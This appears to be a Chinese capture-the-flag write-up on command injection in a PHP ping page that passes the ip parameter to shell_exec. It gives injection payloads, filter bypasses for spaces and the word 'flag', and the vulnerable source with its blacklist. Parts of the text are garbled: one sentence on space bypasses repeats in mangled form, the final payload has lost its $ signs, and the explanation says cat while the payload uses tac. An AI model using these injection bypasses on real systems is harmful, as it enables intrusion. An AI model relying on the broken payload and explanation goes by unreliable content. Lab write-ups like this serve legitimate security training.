
该题考查的是,命令执行,/?ip=,最有可能的是远程命令执行(RCE)漏洞。
我们先尝试能不能进行命令执行
?ip=1;ls

发现确实存在漏洞
并且已经找到flag所在的文件名
我们尝试读取
?ip=1;cat flag.php

这里提示我们存在空格过滤
使用 ${IFS} 替代空格
使用 IFS9替代空格使用重定向符\<替代空格使用最后发现只有9 替代空格 使用重定向符 \< 替代空格 使用%09URL编码来代替空格 最后发现只有9替代空格使用重定向符\<替代空格使用最后发现只有IFS9可以绕过


但是flag似乎也被过滤了
现在没有思路并且不清楚还有什么事被限制的所以我们可以看看index.php中有没有提示

index.php中的似乎是源代码
php
} else if(preg_match("/\&|\/|\?|\*|<|[\x00-\x20]|>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|<|[\x00-\x20]|>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
使用 preg_match 函数通过正则表达式检查 $ip 变量中是否包含各种危险特殊符号。
匹配的黑名单包括:&、/、?、*、<、不可见控制字符(ASCII 码 0x00 到 0x20,如空格、Tab 等)、>、单引号 '、双引号 "、反斜杠 \、圆括号 ()、方括号 \[\] 和大括号 {}。
如果检测到上述任何符号,则输出匹配结果并终止程序,页面打印 fxck your symbol!
php
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
使用正则检查 $ip 中是否包含普通的英文空格 。
如果包含空格,则拦截并终止程序,页面打印 fxck your space!
php
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
检查输入中是否含有字符串 bash。
如果含有,则拦截并终止程序,页面打印 fxck your bash!
php
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
使用通配符正则检查是否按顺序包含了字母 f、l、a、g(这四个字母中间允许夹杂任意其他字符)。
只要触发了这个顺序,就会被拦截并终止程序,页面打印 fxck your flag!
php
$a = shell_exec("ping -c 4 ".$ip);
如果前面的所有正则校验都顺利通过,后端会将用户输入的 $ip 变量直接拼接拼接到系统命令 "ping -c 4 " 后面。
使用 shell_exec 函数在底层操作系统(Linux Shell)中执行该复合命令,并将执行结果(标准输出)赋值给变量 $a
知道这些我们就可以构造payload:
?ip=1;a=ag;b=fl;tacIFS999ba.php

底层 Shell 还原: 传到后台后,Linux Shell 会先执行变量赋值,然后将 bbba.php 拼接还原成 flag.php,最终执行 cat 命令读取文件内容